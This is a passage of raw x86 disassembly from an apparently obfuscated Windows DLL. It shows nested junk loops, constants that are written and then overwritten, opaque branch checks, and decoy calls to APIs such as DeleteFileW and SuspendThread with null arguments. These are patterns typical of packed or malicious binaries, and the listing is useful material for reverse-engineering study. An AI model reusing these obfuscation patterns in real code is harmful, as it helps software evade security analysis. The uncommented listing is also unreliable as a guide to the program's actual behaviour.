mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
jl 0x1001a226
lea ecx, [ebp - 0x1a8]
call fcn.1001b449
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0x110]
push edi
mov dword [ebp - 0xd4], eax
call fcn.1001b3c7
mov dword [ebp - 0x28], 0x3e19f23e
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x1001a283
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x110]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001a274
mov dword [ebp - 0x14], ebx
jmp 0x1001a29b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x64], 0xb0b02971
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001a28d
mov dword [ebp - 0x64], ebx
cmp dword [ebp - 0x64], ebx
jl 0x1001a2f2
mov dword [ebp - 0x20], 9
mov ecx, 0xc0ec0dce
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], 0xfa97
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x110]
sbb ecx, ecx
neg ecx
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x28], ecx
dec dword [ebp - 0x64]
jns 0x1001a2a9
mov ecx, dword [ebp - 0x64]
xor edx, edx
mov eax, dword [ebp - 0x110]
cmp ecx, dword [eax]
setge dl
xor eax, eax
cmp edx, 0x4e78
setne al
sub eax, 0x2f4f
jne 0x1001a34a
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov edx, dword [ebp - 0x64]
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, 0xf4ae
mov eax, dword [ebp - 0x110]
setle cl
imul edx, ecx
sub edx, 0x54384f3a
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, dword [eax]
setne cl
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x110]
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x28], eax
call fcn.1001b449
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xd0], eax
push 3
lea ecx, [ebp - 0x1e4]
call fcn.1001b3c7
push 4
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 0x16
call fcn.1001b3c7
mov dword [ebp - 0x14], ebx
jmp 0x1001a3a4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1e4]
mov dword [eax + ecx*4], 0x7571177e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001a391
mov dword [ebp - 0x14], ebx
jmp 0x1001a3be
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x248]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001a3af
mov eax, dword [ebp - 0x1e4]
lea ecx, [ebp - 0x248]
mov dword [eax + 8], ebx
call fcn.1001b449
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1e4]
call fcn.1001b449
cmp dword [ebp - 0x3c], 0
jne 0x1001afe4
cmp dword [ebp - 0xec], 0
jle 0x1001afe4
mov dword [ebp - 0x34], 0x8ade19d2
mov dword [ebp - 0x38], 0xcf2e5664
mov dword [ebp - 0x30], 0x5145ccb9
mov dword [ebp - 0x2c], 0x2bf5f40e
mov dword [ebp - 0x24], 0x142c78ef
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], 0x22df
cmp dword [ebp - 0x20], 0x2371
jle 0x1001a464
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x1060df18
cdq
push edx
push eax
call fcn.1001b196
inc edi
cmp edi, 0x1e6d
jl 0x1001a43c
inc esi
cmp esi, 0x1a83
jl 0x1001a43a
xor edi, edi
inc edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], 0x17
cmp dword [ebp - 0x20], 0x1f81
jge 0x1001a486
mov edx, 0x1000899c
mov ecx, 0x1060df18
call fcn.1001d6a1
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], 0x9a75015e
push 8
pop eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x18], ebx
jmp 0x1001a4e6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x94], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1001a4d9
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jg 0x1001a6c9
mov dword [ebp - 0x18], 0x7e4f
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xbd791f9e
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x20], 0x2235
cmp dword [ebp - 0x20], 0x24d0
jle 0x1001a55c
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
lea eax, [ebx + esi]
mov ecx, 0x1060df18
add eax, edi
cdq
push edx
push eax
call fcn.1001b196
inc ebx
cmp ebx, 0x25f8
jl 0x1001a529
inc esi
push 0
pop ebx
cmp esi, 0x555f
jl 0x1001a526
inc edi
cmp edi, 0x7812
jl 0x1001a524
xor edi, edi
inc edi
mov dword [ebp - 4], 0x19
cmp dword [ebp - 0x20], 0x21c1
jge 0x1001a57b
mov edx, 0x100089e8
mov ecx, 0x1060df18
call fcn.1001d6a1
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001a5ba
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2ac], 0x23703acb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001a5a9
mov dword [ebp - 0x38], 0xdb34e6d4
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1001a6c1
mov dword [ebp - 0x40], 0x8d96
mov dword [ebp - 0x20], 0x800f4d4e
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0x658d83f7
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x38], ebx
jmp 0x1001a6af
mov dword [ebp - 0x24], 0x3d1aa12a
xor edx, edx
mov dword [ebp - 0x24], 0xccaea0a9
mov dword [ebp - 0x24], 0x37ae9f90
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebp - 0x168], ebx
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x94]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x80]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0xffffffff
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x16c]
cmp edx, 0x310c
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x94]
cmp eax, edx
setge cl
mov dword [ebp - 0x168], ecx
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x1001a615
dec dword [ebp - 0x18]
jns 0x1001a5d9
inc dword [ebp - 0x34]
jmp 0x1001a4ee
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], 0x4ff6
cmp dword [ebp - 0x20], 0x5263
jle 0x1001a733
push 0x13d5
push 0x2172
push ebx
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
lea ecx, [ebx + esi]
mov eax, edi
sar eax, cl
mov ecx, 0x1060df18
cdq
push edx
push eax
call fcn.1001b196
inc ebx
cmp ebx, 0x3cfc
jl 0x1001a6f7
inc esi
push 0
pop ebx
cmp esi, 0x2665
jl 0x1001a6f4
inc edi
cmp edi, 0xce1
jl 0x1001a6f2
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor edi, edi
inc edi
push 2
lea ecx, [ebp - 0x1c0]
call fcn.1001b3c7
mov dword [ebp - 4], 0x1b
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x20], 0x4ce8
jge 0x1001a784
mov edx, 0x10008a48
mov ecx, 0x1060df18
call fcn.1001d6a1
jmp 0x1001a784
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x14], ebx
jmp 0x1001a79e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x70], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001a790
mov dword [ebp - 0x14], ebx
jmp 0x1001a7b6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x294], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001a7a9
mov dword [ebp - 0x14], ebx
jmp 0x1001a7d0
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c0]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001a7c1
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001a7f6
push 0x513
push 0x14aa
push edi
push ebx
push 0x98
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov dword [ebp - 0x70], ebx
cmp dword [ebp - 0x70], 9
jge 0x1001a912
mov dword [ebp - 0x18], 0x69f30cc2
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x20], 0x72c40a98
mov dword [ebp - 0x2c], 0x3d16
cmp dword [ebp - 0x2c], 0x40f8
jle 0x1001a858
mov esi, ebx
mov edi, ebx
mov ebx, 0x1b79
mov eax, edi
mov ecx, 0x1060df18
cdq
push edx
push eax
call fcn.1001b196
add edi, esi
dec ebx
jne 0x1001a831
inc esi
cmp esi, 0x54a1
jl 0x1001a82a
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor edi, edi
inc edi
cmp dword [ebp - 0x18], 0x971867b8
jb 0x1001a89f
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x18], eax
jne 0x1001a86c
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x70]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setne dl
inc edx
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x70]
jl 0x1001a895
cmp dword [ebp - 0x18], ebx
jne 0x1001a898
mov eax, dword [ebp - 0x70]
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x1001a8a1
mov ecx, edi
xor eax, eax
cmp ecx, 0xdbc3
setne al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x294]
mov eax, dword [ebp - 0x1c0]
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x2c], 0x3ba5
mov dword [eax], ecx
jge 0x1001a903
mov edx, 0x10008a88
mov ecx, 0x1060df18
call fcn.1001d6a1
jmp 0x1001a903
mov dword [ebp - 4], 0x1b
inc dword [ebp - 0x70]
jmp 0x1001a7f9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c0]
call fcn.1001b449
mov dword [ebp - 0x20], 0xa7f4ea14
lea ecx, [ebp - 0x1fc]
push edi
call fcn.1001b3c7
mov dword [ebp - 0x14], ebx
jmp 0x1001a94a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x90], 0xc59cdc34
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001a939
mov dword [ebp - 0x14], ebx
jmp 0x1001a968
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1fc]
mov dword [eax + ecx*4], 0x8a6ebbfa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001a955
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001a97d
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x88]
je 0x1001a9bb
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x1fc]
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x1fc]
call fcn.1001b449
push 3
lea ecx, [ebp - 0x1d8]
call fcn.1001b3c7
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x2c], 0x5590
cmp dword [ebp - 0x2c], 0x55e7
jle 0x1001aa53
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, esi
mov dword [ebp - 0x20], 0xb21
mov esi, ebx
mov eax, esi
mov ecx, 0x1060df18
or eax, edi
cdq
push edx
push eax
call fcn.1001b196
inc esi
cmp esi, 0x4f2d
jl 0x1001aa21
dec edi
dec dword [ebp - 0x20]
jne 0x1001aa1f
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x5302
jl 0x1001aa16
xor edi, edi
inc edi
mov dword [ebp - 0x14], ebx
jmp 0x1001aa6b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1d8]
mov dword [eax + ecx*4], 0x540d7f82
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001aa58
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x2c], 0x5520
jge 0x1001aaae
mov edx, 0x10008afc
mov ecx, 0x1060df18
call fcn.1001d6a1
jmp 0x1001aaae
mov dword [ebp - 0x14], ebx
jmp 0x1001aabd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x50], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001aab3
mov dword [ebp - 0x50], ebx
jmp 0x1001aada
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1d8]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 3
jl 0x1001aac7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d8]
call fcn.1001b449
mov ecx, dword [ebp - 0xe8]
test ecx, ecx
je 0x1001afe4
cmp dword [ebp - 0xec], 0
je 0x1001afe4
call fcn.1001915e
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x30], 0x21dec743
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], 0x69e8
cmp dword [ebp - 0x18], 0x6d0a
mov dword [ebp - 0x3c], eax
jle 0x1001ab6d
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], esi
mov edi, 0x7609
mov eax, esi
mov ecx, 0x1060df18
cdq
push edx
push eax
call fcn.1001b196
dec esi
dec edi
jne 0x1001ab4a
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x6ddf
jl 0x1001ab42
inc edi
mov dword [ebp - 0x24], 0x5aed
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x18], 0x6887
jge 0x1001ab93
mov edx, 0x10008b28
mov ecx, 0x1060df18
call fcn.1001d6a1
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xffffffef
jl 0x1001af89
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x74], 0x6c4
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 0xfffffffe
jl 0x1001af4e
push 2
lea ecx, [ebp - 0x128]
call fcn.1001b3c7
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x7c], 7
mov dword [ebp - 0x28], 0x4595a2e7
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x30], ebx
jmp 0x1001ac2e
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0xfa2fafd1
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jl 0x1001ac1b
mov eax, dword [ebp - 0x128]
cmp dword [eax], ebx
je 0x1001acaf
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jne 0x1001af5c
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x14], ebx
jne 0x1001af6a
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, 0xf073
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x18]
jmp 0x1001ab9a
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2c], ebx
je 0x1001af94
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0x68ca
setl cl
sub eax, ecx
je 0x1001afd1
mov eax, edi
cmp dword [ebp - 0x30], ebx
jne 0x1001afd3
mov eax, ebx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x78]
push eax
call fcn.1001b4ed
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000cac0]
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x278]
mov dword [ebp - 0x154], ebx
push eax
push ebx
lea ecx, [ebp - 0x154]
mov dword [ebp - 0x150], ebx
movdqu xmmword [ebp - 0x278], xmm0
mov dword [ebp - 0x14c], ebx
call fcn.1001ddc4
mov dword [ebp - 4], 0x2b
lea eax, [ebp - 0x278]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000cad0]
lea ecx, [ebp - 0x148]
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x40], 0x71d976ff
mov dword [ebp - 0x40], 0x1ca2961c
push eax
mov dword [ebp - 0x40], 0xfffffff9
lea eax, [ebp - 0x288]
mov dword [ebp - 0x40], 0xfffffff7
push eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], edi
push ebx
movdqu xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x140], ebx
call fcn.1001ddc4
mov dword [ebp - 0x44], 0x7f7b
lea ecx, [ebp - 0x148]
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
call fcn.1001b449
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x154]
call fcn.1001b449
lea ecx, [ebp - 0xec]
call fcn.10014d14
cmp dword [ebp - 0x4c], 0
jne 0x1001b0f8
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x1001b0f8
mov edx, dword [ebp - 0x9c]
call fcn.1001924f
mov esi, eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xd8], esi
call fcn.1001b48b
mov dword [eax], esi
mov eax, dword [ebp + 8]
lea esi, [ebp - 0xd8]
mov ecx, dword [ebp - 0xc]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret